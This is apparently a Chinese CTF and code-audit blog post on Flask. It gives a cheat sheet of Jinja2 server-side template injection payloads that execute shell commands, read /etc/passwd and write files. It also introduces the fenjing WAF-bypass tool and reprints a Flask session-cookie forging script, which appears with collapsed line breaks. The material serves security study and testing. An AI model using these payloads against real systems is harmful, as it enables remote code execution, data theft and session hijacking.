当前位置: 首页 > news >正文

代码审计-Python Flask

1.Jinjia2模版注入
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。在jinja2中,存在三种语法

表达式 {{ ... }}  
用于装载字符串、变量、函数调用等
语句 {% ... %}  
用于装载控制语句,比如if判断、for循环等
注释 {# ... #}  
用于装载一个注释,模板渲染的时候会被忽略掉

模版注入本质上是通过数组字符串类获取到Object类,然后再从Object身上获取Object的其他子类,其中有的子类可以执行命令

2.获取基类:

一:使用__base__获取
"".__class__.__base__
二:使用__bases__获取
"".__bases__[0]
三:使用__mro__获取
"".__class__.__mro__这样先查看获取到的数据,确定object类在list中的第几个
"".__class__.__mro__[1]

3.获取子类列表:

"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()

4.寻找getshell类:subprocess.Popen、site._Printer、_sitebuiltins._Printer、os.system方法

{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)<class '_sitebuiltins._Printer'> 执行命令
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}<type 'file'> 读写文件,file类位置一般为40,直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt', 'w').write('hello123')}}<class 'site._Printer'> 直接用os的popen执行命令(绕过globals)
{{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}<class 'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}<class 'warnings.catch_warnings'> 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}# 读写文件 read(),write()
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}调用system方法。(不包含system,可以绕过过滤system的情况)
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

5.注入样例
[WesternCTF2018]shrine(Jinja2模板注入)
https://www.cnblogs.com/dghh/p/18311335

6.焚靖工具

pip install fenjing
python -m fenjing webui

焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。
焚靖融合了CTF赛事中常见的SSTI绕过技巧,可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF。
其支持自动扫描目标网站中的form元素进行攻击,也支持手动指定payload提交方式让其自动分析并产生payload。
它还支持在攻击成功后直接返回一个模拟终端方便选手执行任意Linux Shell指令。也可以在攻击成功后生成并返回对应的payload
焚靖既可以作为命令行程序使用,也可以作为python库导入到脚本中,其还提供一个网页UI方便不熟悉命令行的选手使用。
输入命令行后直接到网页界面操作
在这里插入图片描述
7.cookie伪造
flask的session是通过加密后保存在cookie中的,有加密就需要有解密用的密钥,只要用到了flask的session模块,就一定要配置’SECRET_KEY’这个全局宏。一般设置为24位的字符。Serect-key可以通过{{config}}或读取源码的方式获得,有key以后就是可以通过flask-session-cookie-manager-master来伪造session:

import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else:  # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif (args.subcommand == 'encode'):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand == 'decode'):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

伪造举例:
https://blog.csdn.net/a3320315/article/details/104272833

相关文章:

代码审计-Python Flask

1.Jinjia2模版注入 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug &#xff0c;模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统&#xff0c;起初是仿django模板的一个模板引擎&#xff0c;为Flask提供模板支持&#xff0c;由于…...

深度学习:开启人工智能的新纪元

深度学习&#xff1a;开启人工智能的新纪元 深度学习是机器学习的一个子领域&#xff0c;它基于人工神经网络的学习算法&#xff0c;特别是那些具有多个非线性变换的层&#xff08;即“深度”&#xff09;。这些算法模仿人脑处理信息的方式&#xff0c;通过学习数据的多层次表…...

第十四章_File类与IO流

目录 1. java.io.File类的使用 1.1 概述 1.2 构造器 1.3 常用方法 1、获取文件和目录基本信息 2、列出目录的下一级 3、File类的重命名功能 4、判断功能的方法 5、创建、删除功能 1.4 练习 2. IO流原理及流的分类 2.1 Java IO原理 2.2 流的分类 2.3 流的API 3. …...

Qml-CheckBox的使用

Qml-CheckBox的使用 CheckBox属性 CheckBox的继承关系&#xff1a; CheckBox – AbstractButton – Control – Item; CheckBox的属性主要继承于AbstractButton。属性checkState&#xff1a;勾选状态&#xff0c;值为&#xff1a;Qt.Unchecked、Qt.Checked、Qt.PartiallyChec…...

Java的RocketMQ使用

在 Spring Boot 中&#xff0c;RocketMQ 和 Kafka 都是常用的消息中间件&#xff0c;它们的使用方法有一些相似之处&#xff0c;也有各自的特点。 一、RocketMQ 在 Spring Boot 中的使用 引入依赖 在项目的pom.xml文件中添加 RocketMQ 的依赖。 <dependency><groupId…...

中间件之MQ-Kafka

一、引言 Apache Kafka是一个分布式消息队列系统&#xff0c;最初由LinkedIn开发&#xff0c;并于2011年开源。Kafka以其高吞吐量、低延迟和容错能力而著名&#xff0c;广泛应用于日志收集、实时流处理、事件驱动架构等领域。本文将详细介绍Kafka的基本概念、特点、应用场景以…...

[DB] NSM

Database Workloads&#xff08;数据库工作负载&#xff09; 数据库工作负载指的是数据库在执行不同类型任务时所需的资源和计算方式&#xff0c;主要包括以下几种类型&#xff1a; 1. On-Line Transaction Processing (OLTP) 中文&#xff1a;联机事务处理解释&#xff1a;…...

Redis 高可用:从主从到集群的全面解析

目录 一、主从复制 (基础)1. 同步复制a. 全量数据同步b. 增量数据同步c. 可能带来的数据不一致 2. 环形缓冲区a. 动态调整槽位 3. runid4. 主从复制解决单点故障a. 单点故障b. 可用性问题 5. 注意事项a. Replica 主动向 Master 建立连接b. Replica 主动向 Master 拉取数据 二、…...

全能型选手视频播放器VLC 3.0.21 for Windows 64 bits支持Windows、Mac OS等供大家学习参考

全能型选手视频播放器&#xff0c;支持Windows、Mac OS、Linux、Android、iOS等系统&#xff0c;也支持播放几乎所有主流视频格式。 推荐指数&#xff1a; ★★★★★ 优点&#xff1a; ◆、界面干净简洁&#xff0c;播放流畅 ◆、支持打开绝大多数的文件格式&#xff0c;包…...

解决在Vue3中使用monaco-editor创建多个实例的导致页面卡死的问题

最近在项目中使用到了monaco-editor来实现相关的业务功能&#xff0c;按照官方使用方法进行了相关操作&#xff0c;但是在使用的时候&#xff0c;总是会导致创建多个编辑器实例&#xff0c;导致页面卡死的情况&#xff0c;下面来看看怎么处理这种情况吧&#xff0c;先说一下我使…...

【某农业大学计算机网络实验报告】实验二 交换机的自学习算法

实验目的&#xff1a; &#xff08;1&#xff09;理解交换机通过逆向自学习算法建立地址转发表的过程。 &#xff08;2&#xff09;理解交换机转发数据帧的规则。 &#xff08;3&#xff09;理解交换机的工作原理。 实验器材&#xff1a; 一台Windows操作系统的PC机。 实…...

燕山大学23级经济管理学院 10.18 C语言作业

燕山大学23级经济管理学院 10.18 C语言作业 文章目录 燕山大学23级经济管理学院 10.18 C语言作业1C语言的基本数据类型主要包括以下几种&#xff1a;为什么设计数据类型&#xff1f;数据类型与知识体系的对应使用数据类型时需要考虑的因素 21. 逻辑运算符2. 真值表3. 硬件实现4…...

【880线代】线性代数一刷错题整理

第一章 行列式 2024.8.20日 1. 2. 3. 第二章 矩阵 2024.8.23日 1. 2024.8.26日 1. 2. 3. 4. 5. 2024.8.28日 1. 2. 3. 4. 第四章 线性方程组 2024.9.13日 1. 2. 3. 4. 5. 2024.9.14日 1. 第五章 相似矩阵 2024.9.14日 1. 2024.9.15日 1. 2. 3. 4. 5. 6. 7. 2024.9.…...

【C++语言】精妙的哈希算法:原理、实现与优化

解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 哈希算法是计算机科学中的一项基本技术,广泛应用于数据检索、加密、缓存等领域。本文将深入探讨C++中的哈希算法,详细讲解其原理、实现、优化以及在不同应用场景中的使用。通过丰富的代码示例和数学推导,本文旨…...

基于STM32的手势电视机遥控器设计

引言 本项目设计了一个基于STM32的手势电视机遥控器&#xff0c;利用红外线传输和加速度传感器&#xff08;或陀螺仪&#xff09;检测用户的手势动作&#xff0c;用于控制电视的音量、频道切换等操作。通过对手势的实时检测和分类&#xff0c;系统能够识别左右、上下、旋转等手…...

2、图像的特征

一、角点检测-Harris 1、cv2.cornerHarris角点检测函数 在 cv2.cornerHarris 函数中&#xff0c;Sobel 算子用于计算图像的梯度&#xff0c;这是 Harris 角点检测的第一步。 cv2.cornerHarris(src, blockSize, ksize, k, dstNone, borderTypeNone)下面是各个参数的详细解释&…...

URL、URN和URI的区别

目录 一&#xff1a;URI二&#xff1a;URN三&#xff1a;URL1. URL格式 一&#xff1a;URI URI 是&#xff08;Uniform Resource Identifier&#xff09;统一资源标识符的缩写。用于唯一标识互联网上的资源。URI包含了URN和URL 二&#xff1a;URN URN是&#xff08;Uniform …...

深入理解Spring框架几个重要扩展接口

本文介绍Spring框架的几个日常开发重要扩展接口&#xff0c;方便日常项目中按需扩展使用。 一、Processor 系列接口 用途&#xff1a; Processor 系列接口包括 BeanPostProcessor 和 BeanFactoryPostProcessor&#xff0c;它们的设计目的是在 Spring 容器启动过程中对 Bean 和…...

使用dotnet-counters和dotnet-dump 分析.NET Core 项目内存占用问题

在.NET Core 项目部署后&#xff0c;我们往往会遇到内存占用越来越高的问题&#xff0c;但是由于项目部署在Linux上&#xff0c;因此无法使用VS的远程调试工具来排查内存占用问题。那么这篇文章我们大家一起来学习一下如何排查内存占用问题。 首先&#xff0c;我们来看一下应用…...

1282:最大子矩阵

题目&#xff1a; 已知矩阵的大小定义为矩阵中所有元素的和。给定一个矩阵&#xff0c;你的任务是找到最大的非空(大小至少是1 1)子矩阵。 比如&#xff0c;如下4 4的矩阵 0 -2 -7 0 9 2 -6 2 -4 1 -4 1 -1 8 0 -2 的最大子矩阵是 9 2 -4 1 -1 8 这个子矩阵的大小是15。 …...

XCTF-web-easyupload

试了试php&#xff0c;php7&#xff0c;pht&#xff0c;phtml等&#xff0c;都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接&#xff0c;得到flag...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止

<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet&#xff1a; https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...

vue3 字体颜色设置的多种方式

在Vue 3中设置字体颜色可以通过多种方式实现&#xff0c;这取决于你是想在组件内部直接设置&#xff0c;还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法&#xff1a; 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

《通信之道——从微积分到 5G》读书总结

第1章 绪 论 1.1 这是一本什么样的书 通信技术&#xff0c;说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号&#xff08;调制&#xff09; 把信息从信号中抽取出来&am…...

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

vue3+vite项目中使用.env文件环境变量方法

vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量&#xff0c;这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...

Java面试专项一-准备篇

一、企业简历筛选规则 一般企业的简历筛选流程&#xff1a;首先由HR先筛选一部分简历后&#xff0c;在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如&#xff1a;Boss直聘&#xff08;招聘方平台&#xff09; 直接按照条件进行筛选 例如&#xff1a…...

Linux --进程控制

本文从以下五个方面来初步认识进程控制&#xff1a; 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程&#xff0c;创建出来的进程就是子进程&#xff0c;原来的进程为父进程。…...